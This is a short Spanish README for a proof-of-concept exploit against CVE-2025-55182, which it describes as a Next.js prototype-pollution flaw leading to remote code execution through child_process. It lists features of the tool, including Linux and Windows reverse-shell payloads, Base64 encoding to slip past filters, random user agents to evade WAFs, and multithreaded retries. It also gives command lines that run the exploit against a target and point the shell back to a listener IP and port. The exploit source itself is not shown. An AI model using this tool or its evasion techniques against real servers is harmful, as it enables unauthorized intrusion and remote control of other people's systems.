
PoC para CVE-2025-55182
CVE-2025-55182 es una vulnerabilidad crítica de contaminación de prototipos en nextjs que permite ejecución remota de código (RCE) mediante una sanitización incorrecta de entradas en el mecanismo de manejo de solicitudes del framework; todo esto ocurre porque nextjs confía en objetos JSON como un novato despistado.
1) Contaminación de prototipos en el análisis de solicitudes: nextjs sanitiza incorrectamente objetos que pueden contaminar la cadena de prototipos
2) Deserialización insegura: el framework permite que objetos JSON modifiquen prototipos de objetos base
3) RCE a través de child_process contaminando la cadena de prototipos: una vez contaminado el prototipo, podemos secuestrar la lógica y hacer que el servidor ejecute código
npm create [email protected] vuln
1) Payloads de shell inversa: shells inversos Linux/Windows
2) Codificación Base64 para evadir filtros
3) Detección automática del sistema operativo
4) Agentes de usuario aleatorios para evadir WAFs
5) Bucles de reintento en caso de fallo con retroceso exponencial
6) Multihilo para intentos de explotación concurrentes para mayor fiabilidad
python exp_v2.py target 192.168.1.69 9001 --base64
python exploit.py target 192.168.1.69 9001 --retries 5 --threads 3
python exploit.py target.com 192.168.1.69 9001 --no-spoof